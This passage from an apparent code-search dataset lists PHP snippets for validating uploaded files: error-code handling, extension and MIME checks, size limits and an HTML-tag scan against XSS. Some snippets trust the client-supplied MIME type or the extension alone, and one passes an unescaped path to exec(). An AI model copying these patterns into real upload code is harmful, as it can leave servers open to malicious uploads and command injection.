}", "function validateFile($fieldname)\n{\n $error = '';\n if (!empty($_FILES[$fieldname]['error'])) {\n switch ($_FILES[$fieldname]['error']) {\n case '1':\n $error = 'Upload maximum file is 4 MB.';\n break;\n case '2':\n $error = 'File is too big, please upload with smaller size.';\n break;\n case '3':\n $error = 'File uploaded, but only halef of file.';\n break;\n case '4':\n $error = 'There is no File to upload';\n break;\n case '6':\n $error = 'Temporary folder not exists, Please try again.';\n break;\n case '7':\n $error = 'Failed to record File into disk.';\n break;\n case '8':\n $error = 'Upload file has been stop by extension.';\n break;\n case '999':\n default:\n $error = 'No error code avaiable';\n }\n } elseif (empty($_FILES[$fieldname]['tmp_name']) || $_FILES[$fieldname]['tmp_name'] == 'none') {\n $error = 'There is no File to upload.';\n } elseif ($_FILES[$fieldname]['size'] > FILE_UPLOAD_MAX_SIZE) {\n $error = 'Upload maximum file is '.number_format(FILE_UPLOAD_MAX_SIZE/1024,2).' MB.';\n } else {\n //$get_ext = substr($_FILES[$fieldname]['name'],strlen($_FILES[$fieldname]['name'])-3,3);\t\n $cekfileformat = check_file_type($_FILES[$fieldname]);\n if (!$cekfileformat) {\n $error = 'Upload File only allow (jpg, gif, png, pdf, doc, xls, xlsx, docx)';\n }\n }\n\n return $error;\n}", "function check_mime_type($source)\n{\n $mime_types = array(\n // images\n 'png' => 'image/png',\n 'jpe' => 'image/jpeg',\n 'jpeg' => 'image/jpeg',\n 'jpg' => 'image/jpeg',\n 'gif' => 'image/gif',\n 'bmp' => 'image/bmp',\n 'ico' => 'image/vnd.microsoft.icon',\n 'tiff' => 'image/tiff',\n 'tif' => 'image/tiff',\n 'svg' => 'image/svg+xml',\n 'svgz' => 'image/svg+xml',\n // adobe\n 'pdf' => 'application/pdf',\n // ms office\n 'doc' => 'application/msword',\n 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'rtf' => 'application/rtf',\n 'xls' => 'application/vnd.ms-excel',\n 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'ppt' => 'application/vnd.ms-powerpoint',\n // open office\n 'odt' => 'application/vnd.oasis.opendocument.text',\n 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',\n );\n $arrext = explode('.', $source['name']);\n $jml = count($arrext) - 1;\n $ext = $arrext[$jml];\n $ext = strtolower($ext);\n //$ext = strtolower(array_pop(explode(\".\", $source['name'])));\n if (array_key_exists($ext, $mime_types)) {\n return $mime_types[$ext];\n } elseif (function_exists('finfo_open')) {\n $finfo = finfo_open(FILEINFO_MIME);\n $mimetype = finfo_file($finfo, $source['tmp_name']);\n finfo_close($finfo);\n return $mimetype;\n } else {\n return false;\n }\n}", "public function isAllowedType()\n {\n $extension = $this->getFile()->guessExtension();\n if (in_array($extension, $this->allowedTypes)) {\n return true;\n } else {\n return false;\n }\n }", "function check_file_error($file_error) {\nif ($file_error === 0) {\nreturn true;\n}else {\necho \"There is an error uploading the file\";\n}\n}", "public function isAllowedExtension()\n {\n if (!empty($this->allowed_upload_file_ext)) {\n if (!is_array($this->allowed_upload_file_ext)) {\n NUCLEUS_Exceptions::catcher(FILE_TYPE_LIST_ERROR);\n return false;\n }\n else {\n if (!in_array($this->_file_info['ext'], $this->allowed_upload_file_ext)) {\n NUCLEUS_Exceptions::catcher(UPLOAD_FILE_TYPE_DENIED);\n return false;\n }\n }\n }\n\n return true;\n }", "public function correctImage(){\n parent::isImage();\n parent::exist();\n parent::sizeFile();\n return $this->uploadOk;\n }", "function canUpload($file, &$err, &$params)\r\n\t{\r\n\t\tif (empty($file['name'])) {\r\n\t\t\t$err = 'Please input a file for upload';\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tif (!is_uploaded_file($file['tmp_name'])) {\r\n\t //handle potential malicous attack\r\n\t $err = JText::_('File has not been uploaded');\r\n\t\t\treturn false;;\r\n\t\t}\r\n\r\n\t\tjimport('joomla.filesystem.file');\r\n\t\t$format = strtolower(JFile::getExt($file['name']));\r\n\r\n\t\t$allowable = explode(',', strtolower($params->get('ul_file_types')));\r\n\r\n\t\t$format = FabrikString::ltrimword($format, '.');\r\n\t\t$format2 = \".$format\";\r\n\t\tif (!in_array($format, $allowable) && !in_array($format2, $allowable))\r\n\t\t{\r\n\t\t\t$err = 'WARNFILETYPE';\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\t$maxSize = (int)$params->get('upload_maxsize', 0);\r\n\t\tif ($maxSize > 0 && (int)$file['size'] > $maxSize)\r\n\t\t{\r\n\t\t\t$err = 'WARNFILETOOLARGE';\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$ignored = array();\r\n\t\t$user = JFactory::getUser();\r\n\t\t$imginfo = null;\r\n\t\tif ($params->get('restrict_uploads',1)) {\r\n\t\t\t$images = explode(',', $params->get('image_extensions'));\r\n\t\t\tif (in_array($format, $images)) { // if its an image run it through getimagesize\r\n\t\t\t\tif (($imginfo = getimagesize($file['tmp_name'])) === FALSE) {\r\n\t\t\t\t\t$err = 'WARNINVALIDIMG';\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t}\r\n\t\t\t} else if (!in_array($format, $ignored)) {\r\n\t\t\t\t// if its not an image...and we're not ignoring it\r\n\t\t\t\t/*$allowed_mime = explode(',', $upload_mime);\r\n\t\t\t\t$illegal_mime = explode(',', $upload_mime_illegal);\r\n\t\t\t\tif (function_exists('finfo_open') && $params->get('check_mime',1)) {\r\n\t\t\t\t\t// We have fileinfo\r\n\t\t\t\t\t$finfo = finfo_open(FILEINFO_MIME);\r\n\t\t\t\t\t$type = finfo_file($finfo, $file['tmp_name']);\r\n\t\t\t\t\tif (strlen($type) && !in_array($type, $allowed_mime) && in_array($type, $illegal_mime)) {\r\n\t\t\t\t\t\t$err = 'WARNINVALIDMIME';\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tfinfo_close($finfo);\r\n\t\t\t\t} else if (function_exists('mime_content_type') && $params->get('check_mime',1)) {\r\n\t\t\t\t\t// we have mime magic\r\n\t\t\t\t\t$type = mime_content_type($file['tmp_name']);\r\n\t\t\t\t\tif (strlen($type) && !in_array($type, $allowed_mime) && in_array($type, $illegal_mime)) {\r\n\t\t\t\t\t\t$err = 'WARNINVALIDMIME';\r\n\t\t\t\t\t\treturn false;\r\n\t\t\t\t\t}\r\n\t\t\t\t}*/\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$xss_check = JFile::read($file['tmp_name'], false, 256);\r\n\t\t$html_tags = array('abbr','acronym','address','applet','area','audioscope','base','basefont','bdo','bgsound','big','blackface','blink','blockquote','body','bq','br','button','caption','center','cite','code','col','colgroup','comment','custom','dd','del','dfn','dir','div','dl','dt','em','embed','fieldset','fn','font','form','frame','frameset','h1','h2','h3','h4','h5','h6','head','hr','html','iframe','ilayer','img','input','ins','isindex','keygen','kbd','label','layer','legend','li','limittext','link','listing','map','marquee','menu','meta','multicol','nobr','noembed','noframes','noscript','nosmartquotes','object','ol','optgroup','option','param','plaintext','pre','rt','ruby','s','samp','script','select','server','shadow','sidebar','small','spacer','span','strike','strong','style','sub','sup','table','tbody','td','textarea','tfoot','th','thead','title','tr','tt','ul','var','wbr','xml','xmp','!DOCTYPE', '!--');\r\n\t\tforeach ($html_tags as $tag) {\r\n\t\t\t// A tag is '<tagname ', so we need to add < and a space or '<tagname>'\r\n\t\t\tif (JString::stristr($xss_check, '<'.$tag.' ') || JString::stristr($xss_check, '<'.$tag.'>')) {\r\n\t\t\t\t$err = 'WARNIEXSS';\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "protected function validatePhoto(){\n\n $extension = $this->type;\n\n if( !empty($extension)){\n if($extension != 'image/jpeg' && $extension != 'image/png' && $extension != 'image/jpg'){\n $this->errors_on_upload[] = \"Your file should be .jpeg, .jpg or .png\";\n }\n }\n\n if($this->size > Config::MAX_FILE_SIZE){\n $this->errors_on_upload[] = \"Your picture shouldn't be more than 10 Mb\";\n }\n\n if($this->error != 0 && $this->error != 4) { //0 means no error, so if otherwise, display a respective message, 4 no files to upload, we allow that\n $this->errors_on_upload[] = $this->upload_errors_array[$this->error];\n }\n\n }", "public function isFile() : bool;", "function isOfType($data, $types) {\r\n\t\t// Multiple types\r\n\t\tif (!is_array($types)) $types = array($types);\r\n\r\n\t\t// Fails if not in the list of allowed extensions\r\n\t\tif (!in_array($data['ext'], $types)) {\r\n\t\t\t$this->uploadValidationError = sprintf(__d('caracole_documents', 'This file extension, %1$s, is not allowed.', true), $data['ext']);\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\r\n\t}", "public function isFileUploadsSupported()\n {\n $checking_result = (Bootstrap::getIniParam('file_uploads') == true) ? true : false;\n\n if (!$checking_result) {\n App::instance()->setNotification('E', App::instance()->t('error'), App::instance()->t('text_file_uploads_notice'), true, 'valiator');\n }\n\n return $checking_result;\n }", "private function isValidStaticTypeFile(): bool\n {\n return $this->oHttpRequest->getExists('t') &&\n in_array($this->oHttpRequest->get('t'), self::ASSET_FILES_ACCEPTED, true);\n }", "function checkFileType( $file_types, $currentFileType )\n{\n $aFiles = explode( ',', $file_types ) ; # create aFiles file type array:\n for ( $x=0; $x<count($aFiles); $x++ )\n {\n if ( $aFiles[$x] == $currentFileType ) { return TRUE ; }\n }\n return FALSE ; # no match found, return false!\n}", "function upload_is_file_too_big($upload)\n {\n }", "public function it_shows_file_input_on_type_of_file()\n {\n // configure\n $inputs = [\n [\n 'type' => 'file',\n 'name' => 'tc',\n 'label' => 'Upload Terms and Conditions'\n ]\n ];\n\n $this->configureInputs($inputs);\n\n // assert\n $this->get('/settings')\n ->assertStatus(200)\n ->assertSee('type=\"file\"', false);\n }", "function hook_file_type($file) {\n // Assign all files uploaded by anonymous users to a special file type.\n if (user_is_anonymous()) {\n return array('untrusted_files');\n }\n}", "public function ImageType($file_type){\r\n $this->file_type=$file_type;\r\n }", "function check_image_type($source_pic)\n{\n $image_info = check_mime_type($source_pic);\n\n switch ($image_info) {\n case 'image/gif':\n return true;\n break;\n\n case 'image/jpeg':\n return true;\n break;\n\n case 'image/png':\n return true;\n break;\n\n case 'image/wbmp':\n return true;\n break;\n\n default:\n return false;\n break;\n }\n}", "function get_mimetype($name) {\n\t// We're only allowing archives.\n\tif (!substr_count($_FILES[$name]['name'],'.tar.gz') &&\n\t\t!substr_count($_FILES[$name]['name'],'.tgz') &&\n\t\t!substr_count($_FILES[$name]['name'],'.zip')) {\n\n\t\treturn FALSE;\n\t}\n\n\tif (substr_count($_FILES[$name]['name'],'.tar.gz') ||\n\t\tsubstr_count($_FILES[$name]['name'],'.tgz')) {\n\n\t\treturn 'application/x-gzip';\n\t} else {\n\t\treturn 'application/zip';\n\t}\n}", "public function isFileNameType() {\r\n return $this->config['filenametype'];\r\n }", "public function validate() {\n \n if (in_array($this->ext, $this->allow) !==false){\n \n if ($this->size < 10000000 ) {\n if ($this->error === 0) {\n $enc = uniqid('',true).\".\".$this->ext;\n $dest = $_SERVER['DOCUMENT_ROOT'].'/'.'tempSTR/'.$enc;\n\n move_uploaded_file($this->filetmp, $dest);\n \n } else {\n echo \"something wrong with this image\";\n }\n } else {\n echo \"Your file is to big\";\n }\n\n } else {\n echo \"You can't upload image with this exstension\";\n }\n }", "public function validateExtensionplan(){\n $allowed = array('jpeg', 'jpg', 'png');\n $filename = $this->getplanFloor('name');\n $ext = pathinfo($filename, PATHINFO_EXTENSION);\n if(!in_array($ext,$allowed)) {\n return false;\n } else {\n return true;\n }\n }", "function mimetype($filedata) {\r\n\t\t$filepath = $filedata['tmp_name'];\r\n\t\t// Check only existing files\r\n\t\tif (!file_exists($filepath) || !is_readable($filepath)) return false;\r\n\r\n\t\t// Trying to run file from the filesystem\r\n\t\tif (function_exists('exec')) {\r\n\t\t\t$mimeType = exec(\"/usr/bin/file -i -b $filepath\");\r\n\t\t\tif (!empty($mimeType)) return $mimeType;\r\n\t\t}\r\n\r\n\t\t// Trying to get mimetype from images\r\n\t\t$imageData = @getimagesize($filepath);\r\n\t\tif (!empty($imageData['mime'])) {\r\n\t\t\treturn $imageData['mime'];\r\n\t\t}\r\n\r\n\t\t// Reverting to guessing the mimetype from a known list\r\n\t\t // Thanks to MilesJ Uploader plugin : http://milesj.me/resources/logs/uploader-plugin\r\n\t\tstatic $mimeTypes = array(\r\n\t\t\t// Images\r\n\t\t\t'bmp'\t=> 'image/bmp',\r\n\t\t\t'gif'\t=> 'image/gif',\r\n\t\t\t'jpe'\t=> 'image/jpeg',\r\n\t\t\t'jpg'\t=> 'image/jpeg',\r\n\t\t\t'jpeg'\t=> 'image/jpeg',\r\n\t\t\t'pjpeg'\t=> 'image/pjpeg',\r\n\t\t\t'svg'\t=> 'image/svg+xml',\r\n\t\t\t'svgz'\t=> 'image/svg+xml',\r\n\t\t\t'tif'\t=> 'image/tiff',\r\n\t\t\t'tiff'\t=> 'image/tiff',\r\n\t\t\t'ico'\t=> 'image/vnd.microsoft.icon',\r\n\t\t\t'png'\t=> 'image/png',\r\n\t\t\t'xpng'\t=> 'image/x-png',\r\n\t\t\t// Text\r\n\t\t\t'txt' \t=> 'text/plain',\r\n\t\t\t'asc' \t=> 'text/plain',\r\n\t\t\t'css' \t=> 'text/css',\r\n\t\t\t'csv'\t=> 'text/csv',\r\n\t\t\t'htm' \t=> 'text/html',\r\n\t\t\t'html' \t=> 'text/html',\r\n\t\t\t'stm' \t=> 'text/html',\r\n\t\t\t'rtf' \t=> 'text/rtf',\r\n\t\t\t'rtx' \t=> 'text/richtext',\r\n\t\t\t'sgm' \t=> 'text/sgml',\r\n\t\t\t'sgml' \t=> 'text/sgml',\r\n\t\t\t'tsv' \t=> 'text/tab-separated-values',\r\n\t\t\t'tpl' \t=> 'text/template',\r\n\t\t\t'xml' \t=> 'text/xml',\r\n\t\t\t'js'\t=> 'text/javascript',\r\n\t\t\t'xhtml'\t=> 'application/xhtml+xml',\r\n\t\t\t'xht'\t=> 'application/xhtml+xml',\r\n\t\t\t'json'\t=> 'application/json',\r\n\t\t\t// Archive\r\n\t\t\t'gz'\t=> 'application/x-gzip',\r\n\t\t\t'gtar'\t=> 'application/x-gtar',\r\n\t\t\t'z'\t\t=> 'application/x-compress',\r\n\t\t\t'tgz'\t=> 'application/x-compressed',\r\n\t\t\t'zip'\t=> 'application/zip',\r\n\t\t\t'rar'\t=> 'application/x-rar-compressed',\r\n\t\t\t'rev'\t=> 'application/x-rar-compressed',\r\n\t\t\t'tar'\t=> 'application/x-tar',\r\n\t\t\t// Audio\r\n\t\t\t'aif' \t=> 'audio/x-aiff',\r\n\t\t\t'aifc' \t=> 'audio/x-aiff',\r\n\t\t\t'aiff' \t=> 'audio/x-aiff',\r\n\t\t\t'au' \t=> 'audio/basic',\r\n\t\t\t'kar' \t=> 'audio/midi',\r\n\t\t\t'mid' \t=> 'audio/midi',\r\n\t\t\t'midi' \t=> 'audio/midi',\r\n\t\t\t'mp2' \t=> 'audio/mpeg',\r\n\t\t\t'mp3' \t=> 'audio/mpeg',\r\n\t\t\t'mpga' \t=> 'audio/mpeg',\r\n\t\t\t'ra' \t=> 'audio/x-realaudio',\r\n\t\t\t'ram' \t=> 'audio/x-pn-realaudio',\r\n\t\t\t'rm' \t=> 'audio/x-pn-realaudio',\r\n\t\t\t'rpm' \t=> 'audio/x-pn-realaudio-plugin',\r\n\t\t\t'snd' \t=> 'audio/basic',\r\n\t\t\t'tsi' \t=> 'audio/TSP-audio',\r\n\t\t\t'wav' \t=> 'audio/x-wav',\r\n\t\t\t'wma'\t=> 'audio/x-ms-wma',\r\n\t\t\t// Video\r\n\t\t\t'flv' \t=> 'video/x-flv',\r\n\t\t\t'fli' \t=> 'video/x-fli',\r\n\t\t\t'avi' \t=> 'video/x-msvideo',\r\n\t\t\t'qt' \t=> 'video/quicktime',\r\n\t\t\t'mov' \t=> 'video/quicktime',\r\n\t\t\t'movie' => 'video/x-sgi-movie',\r\n\t\t\t'mp2' \t=> 'video/mpeg',\r\n\t\t\t'mpa' \t=> 'video/mpeg',\r\n\t\t\t'mpv2' \t=> 'video/mpeg',\r\n\t\t\t'mpe' \t=> 'video/mpeg',\r\n\t\t\t'mpeg' \t=> 'video/mpeg',\r\n\t\t\t'mpg' \t=> 'video/mpeg',\r\n\t\t\t'mp4'\t=> 'video/mp4',\r\n\t\t\t'viv' \t=> 'video/vnd.vivo',\r\n\t\t\t'vivo' \t=> 'video/vnd.vivo',\r\n\t\t\t'wmv'\t=> 'video/x-ms-wmv',\r\n\t\t\t// Applications\r\n\t\t\t'js'\t=> 'application/x-javascript',\r\n\t\t\t'xlc' \t=> 'application/vnd.ms-excel',\r\n\t\t\t'xll' \t=> 'application/vnd.ms-excel',\r\n\t\t\t'xlm' \t=> 'application/vnd.ms-excel',\r\n\t\t\t'xls' \t=> 'application/vnd.ms-excel',\r\n\t\t\t'xlw' \t=> 'application/vnd.ms-excel',\r\n\t\t\t'doc'\t=> 'application/msword',\r\n\t\t\t'dot'\t=> 'application/msword',\r\n\t\t\t'pdf' \t=> 'application/pdf',\r\n\t\t\t'psd' \t=> 'image/vnd.adobe.photoshop',\r\n\t\t\t'ai' \t=> 'application/postscript',\r\n\t\t\t'eps' \t=> 'application/postscript',\r\n\t\t\t'ps' \t=> 'application/postscript'\r\n\t\t);\r\n\t\t$ext = $this->ext($filedata);\r\n\t\treturn array_key_exists($ext, $mimeTypes) ? $mimeTypes[$ext] : false;\r\n\t}", "function validateFileType($postVar, $value, $error) {\n $errorMsg = \"\";\n //checking if the $value variable is isset or not\n if (isset($value)) {\n $found = strpos($value, ',');\n if ($found === false) {\n $options[0] = $value;\n } else {\n $options = explode(\",\", $value);\n }\n }\n\n //checking if the $postVar['name'] value in an array or not\n if (is_array($postVar['name'])) {\n $totalFiles = count($postVar['name']);\n\n for ($i = 0; $i < $totalFiles; $i++) {\n if ($postVar['name'][$i]) {\n $fileTypeMatch = 0;\n foreach ($options as $id => $type) {\n $typeArray = $this->availableFileTypes($type);\n if (in_array($postVar['type'][$i], $typeArray)) {\n $fileTypeMatch = 1;\n }\n if ($fileTypeMatch)\n break;\n }\n\n if (!$fileTypeMatch) {\n $errorMsg .= $error . \" (\" . $postVar['name'][$i] . \")<br>\";\n }\n }\n }\n //if not array then go here\n } else {\n if ($postVar['name']) {\n $fileTypeMatch = 0;\n foreach ($options as $id => $type) {\n $typeArray = $this->availableFileTypes($type);\n if (in_array($postVar['type'], $typeArray)) {\n $fileTypeMatch = 1;\n }\n if ($fileTypeMatch)\n break;\n }\n\n if (!$fileTypeMatch) {\n $errorMsg .= $error . \" (\" . $postVar['name'] . \")<br>\";\n }\n }\n }\n\n return $errorMsg;\n }", "function _file_get_type($file) {\n $ext = file_ext($file);\n if (preg_match(\"/$ext/i\", get_setting(\"image_ext\")))\n return IMAGE;\n if (preg_match(\"/$ext/i\", get_setting(\"audio_ext\")))\n return AUDIO;\n if (preg_match(\"/$ext/i\", get_setting(\"video_ext\")))\n return VIDEO;\n if (preg_match(\"/$ext/i\", get_setting(\"document_ext\")))\n return DOCUMENT;\n if (preg_match(\"/$ext/i\", get_setting(\"archive_ext\")))\n return ARCHIVE;\n }", "public function testFileValue() : void {\n\t\t$this->assertEquals('kc_file', PostType::File->value);\n\t}", "public function extensionValid() \n\t{\n\t\tif (!in_array($this->extension_of_file, $this->file_types)) //{\n\t\t\tthrow new Exception(\"Invalid file Extension\",5);\n\t\t//}\n\t}", "function isSupportedType($type, $src_file) {\n if ($type !== \"jpg\" && $type !== \"jpeg\" && $type !== \"png\") {\n return zmgToolboxPlugin::registerError($src_file, 'GD 1.x: Source file is not an image or image type is not supported.');\n }\n return true;\n }", "public function isValidType( $ext=null ){\n global $VALID_FILES;\n if (!$ext)\n $ext = $this->ext; \n return (in_array( $ext, $VALID_FILES )); \n }", "function validate_expense_file() {\n return validate_post_file($this->input->post(\"file_name\"));\n }", "public static function upload($type, $name = '') {\r\n\t\t\t$hasFile = false;\r\n\t\t\tif(empty($name)) {\r\n\t\t\t\t$name = 'File uploaded ' . date('d/m/Y');\r\n\t\t\t}\r\n\r\n\t\t\tif(isset($_FILES[$type]) && $_FILES[$type]['name'] != '') {\r\n\r\n\t\t\t\tswitch($_FILES[$type]['error']) {\r\n\t\t\t\t\tcase UPLOAD_ERR_INI_SIZE:\r\n\t\t\t\t\tcase UPLOAD_ERR_FORM_SIZE:\r\n\t\t\t\t\t\t$error = 'The file was too large. Maximum file size is ' . self::getUploadLimit();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase UPLOAD_ERR_PARTIAL:\r\n\t\t\t\t\tcase UPLOAD_ERR_CANT_WRITE:\r\n\t\t\t\t\tcase UPLOAD_ERR_EXTENSION:\r\n\t\t\t\t\t\tLogger::log('Ndoorse/Document/Upload: Problem uploading file: ' . $_FILES[$type]['error'], 'error');\r\n\t\t\t\t\t\t$error = 'There was a problem uploading the file. Please try again.';\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase UPLOAD_ERR_OK:\r\n\t\t\t\t\t\t$hasFile = true;\r\n\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif($hasFile) {\r\n\r\n\t\t\t\t$oldFile = $_FILES[$type]['name'];\r\n\t\t\t\t$oldFileParts = explode('.', $oldFile);\r\n\t\t\t\t$ext = end($oldFileParts);\r\n\r\n\t\t\t\tswitch($type) {\r\n\t\t\t\t\tcase 'cv':\r\n\t\t\t\t\t\t$validExts = explode(',', self::VALID_CV_EXTENSIONS);\r\n\t\t\t\t\t\tbreak;\r\n case 'logo':\r\n case 'avatar':\r\n $validExts = explode(',', self::VALID_IMAGE_EXTENSIONS);\r\n break;\r\n\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t$validExts = array();\r\n\t\t\t\t}\r\n\r\n\r\n\t\t\t\tif(!empty($validExts) && !in_array($ext, $validExts)) {\r\n\t\t\t\t\t$error = 'The file you uploaded is not in a valid format.';\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$ext = '.' . $ext;\r\n\t\t\t\t$base = 'resources/' . $type . '/';\r\n\r\n\t\t\t\tif(!isset($error) && !file_exists(ROOT_PATH . $base)) {\r\n\t\t\t\t\tmkdir(ROOT_PATH . $base, 0664);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$filename = $base . $_SESSION['user']->getID() . '_' . date('YmdHis') . $ext;\r\n\t\t\t\tif(!isset($error) && move_uploaded_file($_FILES[$type]['tmp_name'], ROOT_PATH . $filename)) {\r\n\t\t\t\t\tchmod(ROOT_PATH . $filename, 0664);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// resize image if necessary\r\n\t\t\t\tif($type == 'avatar') {\r\n\t\t\t\t\tImage::resize(ROOT_PATH . $filename, ROOT_PATH . $filename, 244, 244, false);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$document = new Ndoorse_Document();\r\n\r\n\t\t\t\t$document->userID = $_SESSION['user']->getID();\r\n\t\t\t\t$document->filePath = $filename;\r\n\t\t\t\t$document->name = $name;\r\n\t\t\t\t$document->type = $type;\r\n\t\t\t\t$document->status = self::STATUS_ACTIVE;\r\n\r\n\t\t\t\tif(!isset($error) && $document->saveModel()) {\r\n\t\t\t\t\treturn array(true, $document->getID());\r\n\t\t\t\t}\r\n\t\t\t\t$error = 'Could not upload this file.';\r\n\t\t\t}\r\n\r\n\t\t\tif(!isset($error)) {\r\n\t\t\t\t$error = '';\r\n\t\t\t}\r\n\t\t\treturn array(false, $error);\r\n\t\t}", "public function isValid($file_key)\n\t{\n\t\treturn App_File_Utils::check_type($this->_type, $_FILES[$file_key]['tmp_name']);\n\t}", "function checkimage($img)\r\n{\r\n $imageMimeTypes = array(\r\n 'image/png',\r\n 'image/gif',\r\n 'image/jpeg');\r\n\r\n $img = mime_content_type($img);\r\n $imgcheck = false;\r\n if (in_array ($img, $imageMimeTypes))\r\n {\r\n $imgcheck = true;\r\n }\r\n return $imgcheck;\r\n}", "public function test_supports_mime_type() {\n\n\t\t$imagick_image_editor = new WP_Image_Editor_Imagick( null );\n\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );\n\t}", "private function isValidImageType(string $file)\r\n {\r\n return in_array(pathinfo($file, PATHINFO_EXTENSION), $this->supported);\r\n }", "public static function is_upload($name){ // 判断文件是否已上传\n if (!isset($_FILES[$name])){\n return false;\n }\n if (!isset($_FILES[$name]['tmp_name'])||empty($_FILES[$name]['tmp_name'])){\n return false;\n }\n if (is_uploaded_file($_FILES[$name]['tmp_name'])){\n return true;\n }else{\n return false;\n }\n }", "public function test_supports_mime_type() {\n\t\t$imagick_image_editor = new WP_Image_Editor_Imagick( null );\n\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/jpeg' ), 'Does not support image/jpeg' );\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/png' ), 'Does not support image/png' );\n\t\t$this->assertTrue( $imagick_image_editor->supports_mime_type( 'image/gif' ), 'Does not support image/gif' );\n\t}", "protected function checkRequiremets () {\n\t\t// Check if `finfo_file()` function exists. File info extension is \n\t\t// presented from PHP 5.3+ by default, so this error probably never happened.\n\t\tif (!function_exists('finfo_file')) \n\t\t\treturn $this->handleUploadError(\n\t\t\t\tstatic::UPLOAD_ERR_NO_FILEINFO\n\t\t\t);\n\t\t\n\t\t// Check if mimetypes and extensions validator class\n\t\t$extToolsMimesExtsClass = static::MVCCORE_EXT_TOOLS_MIMES_EXTS_CLASS;\n\t\tif (!class_exists($extToolsMimesExtsClass)) \n\t\t\treturn $this->handleUploadError(\n\t\t\t\tstatic::UPLOAD_ERR_NO_MIMES_EXT\n\t\t\t);\n\n\t\t// Complete uploaded files temporary directory:\n\t\t$this->GetUploadsTmpDir();\n\t\t\n\t\treturn TRUE;\n\t}", "public function verifyFile(){\n if (isset($_POST[\"submitbutton\"])){//if submit button is pressed\n if ($_FILES[\"fileSelectField\"][\"type\"] != \"application/pdf\"){//checks file type\n return \"File must be a pdf file\";\n }\n else if ($_FILES[\"fileSelectField\"][\"size\"] > 100000){//checks file size\n return \"File is too big\";\n }\n else {//runs function to add file if no problems\n return $this->addFile();\n }\n }\n }", "public function getUploadType() {\r\n $type = $this->getSession()->getUploadType();\r\n return $type ? $type : 'image';\r\n }", "private function checkSourceMimeType()\n {\n $fileMimeType = $this->getMimeTypeOfSource();\n if (is_null($fileMimeType)) {\n throw new InvalidImageTypeException('Image type could not be detected');\n } elseif ($fileMimeType === false) {\n throw new InvalidImageTypeException('File seems not to be an image.');\n } elseif (!in_array($fileMimeType, self::$allowedMimeTypes)) {\n throw new InvalidImageTypeException('Unsupported mime type: ' . $fileMimeType);\n }\n }", "public function isFile(): bool;", "function type_url_form_file()\n {\n }", "public function isUploadedFile($file){\n return in_array($file,$this->_files);\n }", "function checkMimeType($params = array(), $options = array()) {\n\t\tif ($this->isUploadedFile($params)) {\n\t\t\t// Only validate mime type if a file was uploaded at all\n\t\t\t$val = array_shift($params);\n\t\t\tforeach ($options['allowed_mime_types'] as $extensions) {\n\t\t\t\tif ((!is_array($extensions) && $extensions == '*') ||\n\t\t\t\t\t(is_array($extensions) && in_array($val['type'], $extensions))) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "public function wrongTypeFile()\n {\n return 'This type of file is not allowed';\n }", "function checkInput()\n\t{\n\t\tglobal $lng;\n\n\t\t// remove trailing '/'\n\t\twhile (substr($_FILES[$this->getPostVar()][\"name\"],-1) == '/')\n\t\t{\n\t\t\t$_FILES[$this->getPostVar()][\"name\"] = substr($_FILES[$this->getPostVar()][\"name\"],0,-1);\n\t\t}\n\n\t\t$filename = $_FILES[$this->getPostVar()][\"name\"];\n\t\t$filename_arr = pathinfo($_FILES[$this->getPostVar()][\"name\"]);\n\t\t$suffix = $filename_arr[\"extension\"];\n\t\t$mimetype = $_FILES[$this->getPostVar()][\"type\"];\n\t\t$size_bytes = $_FILES[$this->getPostVar()][\"size\"];\n\t\t$temp_name = $_FILES[$this->getPostVar()][\"tmp_name\"];\n\t\t$error = $_FILES[$this->getPostVar()][\"error\"];\n\n\t\t// error handling\n\t\tif ($error > 0)\n\t\t{\n\t\t\tswitch ($error)\n\t\t\t{\n\t\t\t\tcase UPLOAD_ERR_INI_SIZE:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_size_exceeds\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\t\t\t\t \n\t\t\t\tcase UPLOAD_ERR_FORM_SIZE:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_size_exceeds\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\n\t\t\t\tcase UPLOAD_ERR_PARTIAL:\n\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_partially_uploaded\"));\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\t\n\t\t\t\tcase UPLOAD_ERR_NO_FILE:\n\t\t\t\t\tif ($this->getRequired())\n\t\t\t\t\t{\n\t\t\t\t\t\tif (!strlen($this->getValue()))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->setAlert($lng->txt(\"form_msg_file_no_upload\"));\n\t\t\t\t\t\t\treturn 